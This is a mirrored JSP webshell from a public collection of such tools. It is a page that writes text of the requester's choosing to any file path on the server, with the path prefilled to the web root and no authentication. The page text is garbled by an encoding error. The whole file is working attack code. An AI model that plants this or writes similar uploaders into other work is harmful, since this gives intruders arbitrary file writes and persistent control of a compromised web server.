mirror of
https://github.com/tennc/webshell
synced 2024-11-28 22:20:17 +00:00
47 lines
1.3 KiB
Text
47 lines
1.3 KiB
Text
<%@ page language="java" pageEncoding="gbk"%>
|
||
<jsp:directive.page import="java.io.File"/>
|
||
<jsp:directive.page import="java.io.OutputStream"/>
|
||
<jsp:directive.page import="java.io.FileOutputStream"/>
|
||
<html>
|
||
<head>
|
||
<title><3E>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1</title>
|
||
<meta http-equiv="keywords" content="<22>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1">
|
||
<meta http-equiv="description" content="<22>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1">
|
||
</head>
|
||
<%
|
||
int i=0;
|
||
String method=request.getParameter("act");
|
||
if(method!=null&&method.equals("up")){
|
||
String url=request.getParameter("url");
|
||
String text=request.getParameter("text");
|
||
File f=new File(url);
|
||
if(f.exists()){
|
||
f.delete();
|
||
}
|
||
try{
|
||
OutputStream o=new FileOutputStream(f);
|
||
o.write(text.getBytes());
|
||
o.close();
|
||
}catch(Exception e){
|
||
i++;
|
||
%>
|
||
<20>0Š1<C5A0>0†0<E280A0>0‚0<E2809A>0Š1<C5A0>0†4<E280A0>0„2<E2809E>0Š1<C5A0>0†0<E280A0>0‚3<E2809A>0Š3<C5A0>0<EFBFBD>8<EFBFBD>0‚6<E2809A>0Š2<C5A0>0‚0<E2809A>0„1
|
||
<%
|
||
}
|
||
}
|
||
if(i==0){
|
||
%>
|
||
<20>0Š1<C5A0>0†0<E280A0>0‚0<E2809A>0Š1<C5A0>0†4<E280A0>0„2<E2809E>0Š3<C5A0>0<EFBFBD>8<EFBFBD>0‚6<E2809A>0Š2<C5A0>0‚0<E2809A>0„1
|
||
<%
|
||
}
|
||
%>
|
||
|
||
<body>
|
||
<form action='?act=up' method='post'>
|
||
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
|
||
<textarea rows="20" cols="80" name="text">¨¨<C2A8>0†7<E280A0>0ƒ5<C692>0Š2<C5A0>0<EFBFBD>6<EFBFBD>0ƒ5¨¦<C2A8>0„8<E2809E>0…1<E280A6>0Š4<C5A0>0ƒ6<C692>0<EFBFBD>4<EFBFBD>0Š1<C5A0>0†3<E280A0>0„5<E2809E>0Š4<C5A0>0„2<E2809E>0<EFBFBD>1</textarea><br>
|
||
<input type="submit" value="up" name="text"/>
|
||
</form>
|
||
</body>
|
||
</html>
|
||
|